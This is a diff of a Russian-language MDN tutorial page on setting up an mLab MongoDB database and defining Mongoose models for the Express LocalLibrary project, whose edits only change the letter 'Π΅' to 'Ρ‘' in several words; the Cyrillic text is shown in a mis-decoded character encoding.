ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ mLab - популярный поставщик  <em>Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊ сСрвиса, </em>ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹ΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ для ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ извСстныС возмоТности Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚Β <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a>Β ΠΈΒ <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠŸΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π‘Π” Β MongoDb локально, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ² ΠΈ установив <a href="https://www.mongodb.com/download-center">подходящиС для вашСй систСмы Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹</a>. Π’ этом случаС ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½ΠΈΠΆΠ΅ инструкции Π½Π΅ измСнятся, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ URL Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π΄Π°Ρ‚ΡŒ для установки соСдинСния.</p>
@@ -520,14 +520,14 @@ SomeModel.find(callback_function);</code></pre>
<p>ПослС Π²Ρ…ΠΎΠ΄Π° Π² систСму Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π³Π»Π°Π²Π½ΡƒΡŽ страницу <a href="https://mlab.com/home">home</a>:</p>
<ol>
- <li>Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅Β <strong>Create New</strong>Β Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β <em>MongoDB Deployments</em> для создания Π½ΠΎΠ²ΠΎΠΉ Π‘Π”.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li>
+ <li>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅Β <strong>Create New</strong>Β Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β <em>MongoDB Deployments</em> для создания Π½ΠΎΠ²ΠΎΠΉ Π‘Π”.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ΡΡ экран <em>Cloud Provider Selection - Β Ρ€Π°Π·Π΄Π΅Π»Π° ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° ΠΎΠ±Π»Π°ΠΊΠ°</em>.<br>
<img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br>
<ul>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΏΠ»Π°Π½Β SANDBOX (Free) ΠΈΠ· Ρ€Π°Π·Π΄Π΅Π»Π°Β Plan Type (Ρ‚ΠΈΠΏ ΠΏΠ»Π°Π½Π°).Β </li>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ любого ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° Π² Ρ€Π°Π·Π΄Π΅Π»Π΅Β <em>Cloud Provider (ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΎΠ±Π»Π°ΠΊΠ°)</em>. Π Π°Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ€Π΅Π³ΠΈΠΎΠ½Ρ‹ (ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΠΏΠΎΠ΄ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠΎΠΌ ΠΏΠ»Π°Π½Π°).</li>
- <li>Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Continue</strong>.</li>
+ <li>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Continue</strong>.</li>
</ul>
</li>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚ΡΡ экран Π²Ρ‹Π±ΠΎΡ€Π° Ρ€Π΅Π³ΠΈΠΎΠ½Π° <em>Select Region</em>.
@@ -535,7 +535,7 @@ SomeModel.find(callback_function);</code></pre>
<ul>
<li>
- <p>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ блиТайший ΠΊ Π’Π°ΠΌ Ρ€Π΅Π³ΠΈΠΎΠ½ ΠΈ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Continue</strong>.</p>
+ <p>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ блиТайший ΠΊ Π’Π°ΠΌ Ρ€Π΅Π³ΠΈΠΎΠ½ ΠΈ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Continue</strong>.</p>
</li>
</ul>
</li>
@@ -554,17 +554,17 @@ SomeModel.find(callback_function);</code></pre>
<ul>
<li>
- <p>Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ <strong>Submit Order</strong>Β (ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ Π·Π°ΠΊΠ°Π·), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π‘Π”.</p>
+ <p>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ <strong>Submit Order</strong>Β (ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ Π·Π°ΠΊΠ°Π·), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π‘Π”.</p>
</li>
</ul>
</li>
<li>
- <p>Π’Ρ‹ Π²Π΅Ρ€Π½Π΅Ρ‚Π΅ΡΡŒ Π½Π° Π³Π»Π°Π²Π½Ρ‹ΠΉΒ (home) экран. Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ вновь созданной Π±Π°Π·Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ экран с Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. Как Π²ΠΈΠ΄Π½ΠΎ, Π² Π‘Π” Π½Π΅Ρ‚ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΉ (Π΄Π°Π½Π½Ρ‹Ρ…).<br>
+ <p>Π’Ρ‹ Π²Π΅Ρ€Π½Ρ‘Ρ‚Π΅ΡΡŒ Π½Π° Π³Π»Π°Π²Π½Ρ‹ΠΉΒ (home) экран. Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ вновь созданной Π±Π°Π·Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ экран с Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. Как Π²ΠΈΠ΄Π½ΠΎ, Π² Π‘Π” Π½Π΅Ρ‚ ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΉ (Π΄Π°Π½Π½Ρ‹Ρ…).<br>
<img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br>
Β <br>
- На Ρ„ΠΎΡ€ΠΌΠ΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠ±Π²Π΅Π΄Π΅Π½ URL для соСдинСния с вашСй Π‘Π”that you need to use to access your database is displayed on the form above (shown for this database circled above). Π§Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π‘Π”, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·ΠΆΠ΅ ввСдСт этот URL.</p>
+ На Ρ„ΠΎΡ€ΠΌΠ΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠ±Π²Π΅Π΄Ρ‘Π½ URL для соСдинСния с вашСй Π‘Π”that you need to use to access your database is displayed on the form above (shown for this database circled above). Π§Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π‘Π”, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·ΠΆΠ΅ ввСдёт этот URL.</p>
</li>
- <li>Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ <strong>Users</strong>Β ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Add database user </strong>(Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π‘Π”).</li>
+ <li>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ <strong>Users</strong>Β ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Add database user </strong>(Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π‘Π”).</li>
<li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ (Π΄Π²Π°ΠΆΠ΄Ρ‹), Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>CreateΒ </strong>(ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ). НС ΠΎΡ‚ΠΌΠ΅Ρ‡Π°ΠΉΡ‚Π΅ <em>Make read onlyΒ </em>(Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния)!<br>
<img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li>
</ol>
@@ -573,14 +573,14 @@ SomeModel.find(callback_function);</code></pre>
<h2 id="Установка_Mongoose">Установка Mongoose</h2>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΎΠΊΠ½ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ создан  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">каркас Π²Π΅Π±-сайта Local Library</a>. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ install, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Mongoose (ΠΈ Π΅Π΅ зависимости), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Π΅ Π² Ρ„Π°ΠΉΠ»Β <strong>package.json</strong>, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ сдСлали этого Ρ€Π°Π½Π΅Π΅, ΠΏΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a>.</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΎΠΊΠ½ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ создан  <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">каркас Π²Π΅Π±-сайта Local Library</a>. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ install, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Mongoose (ΠΈ Π΅Ρ‘ зависимости), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‘ Π² Ρ„Π°ΠΉΠ»Β <strong>package.json</strong>, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ сдСлали этого Ρ€Π°Π½Π΅Π΅, ΠΏΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a>.</p>
<pre class="brush: bash">npm install mongoose
</pre>
<h2 id="ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_ΠΊ_MongoDB">ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊΒ MongoDB</h2>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>/app.js</strong> (Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°) ΠΈ скопируйтС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ тСкст, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΒ  ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡΒ <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния</em>Β <em>Express</em>Β (послС строки <code>var app = express();</code>). Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ строку url Π‘Π” ('<em>insert_your_database_url_here</em>') Ρ‚Π΅ΠΌ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт Π²Π°ΡˆΡƒ Π‘Π”Β  (Ρ‚.Π΅. ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΡƒΡŽ ΠΎΡ‚<a href="#Setting_up_the_MongoDB_database">Β mLab</a>).</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>/app.js</strong> (Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°) ΠΈ скопируйтС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ тСкст, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΒ  ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡΒ <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ прилоТСния</em>Β <em>Express</em>Β (послС строки <code>var app = express();</code>). Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ строку url Π‘Π” ('<em>insert_your_database_url_here</em>') Ρ‚Π΅ΠΌ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт Π²Π°ΡˆΡƒ Π‘Π”Β  (Ρ‚.Π΅. ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΡƒΡŽ ΠΎΡ‚<a href="#Setting_up_the_MongoDB_database">Β mLab</a>).</p>
<pre class="brush: js">//УстанавливаСм соСдинСниС с mongoose
var mongoose = require('mongoose');
@@ -590,11 +590,11 @@ mongoose.Promise = global.Promise;
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
-<p>Как ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°Π½Π΅Π΅ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="#Connecting_to_MongoDB">Mongoose primer</a>, этот ΠΊΠΎΠ΄ Π·Π°Π΄Π°Π΅Ρ‚ соСдинСниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ с привязкой события ошибки errorΒ (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ошибки Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½Ρ‹ Π² консоль).Β </p>
+<p>Как ΡƒΠΊΠ°Π·Π°Π½ΠΎ Ρ€Π°Π½Π΅Π΅ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="#Connecting_to_MongoDB">Mongoose primer</a>, этот ΠΊΠΎΠ΄ Π·Π°Π΄Π°Ρ‘Ρ‚ соСдинСниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ с привязкой события ошибки errorΒ (Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ошибки Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½Ρ‹ Π² консоль).Β </p>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_схСмы_LocalLibrary">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅Β ΡΡ…Π΅ΠΌΡ‹ LocalLibrary</h2>
-<p>ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ <a href="#One_schemamodel_per_file">Π²Ρ‹ΡˆΠ΅</a>. НачнСм с создания ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (<strong>/models</strong>), послС Ρ‡Π΅Π³ΠΎ создадим ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ:</p>
+<p>ΠœΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊ ΡƒΠΆΠ΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ <a href="#One_schemamodel_per_file">Π²Ρ‹ΡˆΠ΅</a>. Начнём с создания ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ Π² ΠΊΠΎΡ€Π½Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (<strong>/models</strong>), послС Ρ‡Π΅Π³ΠΎ создадим ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ:</p>
<pre>/express-locallibrary-tutorial //the project root
<strong>/models</strong>
@@ -606,7 +606,7 @@ db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre>
<h3 id="МодСль_Π°Π²Ρ‚ΠΎΡ€Π°_Author">МодСль Π°Π²Ρ‚ΠΎΡ€Π° Author</h3>
-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ схСмы Π°Π²Ρ‚ΠΎΡ€Π° <code>Author</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/author.js</strong> . Π’ схСмС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ρƒ Π°Π²Ρ‚ΠΎΡ€Π° Π΅ΡΡ‚ΡŒΒ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ поля ΠΈΠΌΠ΅Π½ΠΈ ΠΈ Ρ„Π°ΠΌΠΈΠ»ΠΈΠΈ Ρ‚ΠΈΠΏΠ° <code>String</code>Β  Π΄Π»ΠΈΠ½ΠΎΠΉ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ 100 символов, ΠΈ поля Ρ‚ΠΈΠΏΠ°Β <code>Date</code>Β Π΄Π°Ρ‚Π° роТдСния ΠΈ Π΄Π°Ρ‚Π° смСрти.</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ схСмы Π°Π²Ρ‚ΠΎΡ€Π° <code>Author</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/author.js</strong> . Π’ схСмС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ρƒ Π°Π²Ρ‚ΠΎΡ€Π° Π΅ΡΡ‚ΡŒΒ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ поля ΠΈΠΌΠ΅Π½ΠΈ ΠΈ Ρ„Π°ΠΌΠΈΠ»ΠΈΠΈ Ρ‚ΠΈΠΏΠ° <code>String</code>Β  Π΄Π»ΠΈΠ½ΠΎΠΉ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ 100 символов, ΠΈ поля Ρ‚ΠΈΠΏΠ°Β <code>Date</code>Β Π΄Π°Ρ‚Π° роТдСния ΠΈ Π΄Π°Ρ‚Π° смСрти.</p>
<pre class="brush: js">var mongoose = require('mongoose');
@@ -644,14 +644,14 @@ module.exports = mongoose.model('Author', AuthorSchema);
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠžΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Β Π² схСмС URLΒ ΠΊΠ°ΠΊ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства - Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ идСя,Β  Ρ‚.ΠΊ. URL ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ элСмСнта ΠΏΡ€ΠΈ нСобходимости измСнСния Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ†ΠΈΠΈΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС.<br>
- БСйчас связь ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ этого URL Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρƒ нас Π΅Ρ‰Π΅ Π½Π΅Ρ‚ ΠΊΠΎΠ΄Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для экзСмпляров ΠΌΠΎΠ΄Π΅Π»ΠΈ.Β  ΠœΡ‹ построим Π΅Π³ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅!</p>
+ БСйчас связь ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ этого URL Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Ρƒ нас Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚ ΠΊΠΎΠ΄Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для экзСмпляров ΠΌΠΎΠ΄Π΅Π»ΠΈ.Β  ΠœΡ‹ построим Π΅Π³ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅!</p>
</div>
<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ модуля экспортируСтся модСль.</p>
<h3 id="МодСль_книги_Book">МодСль книги Book</h3>
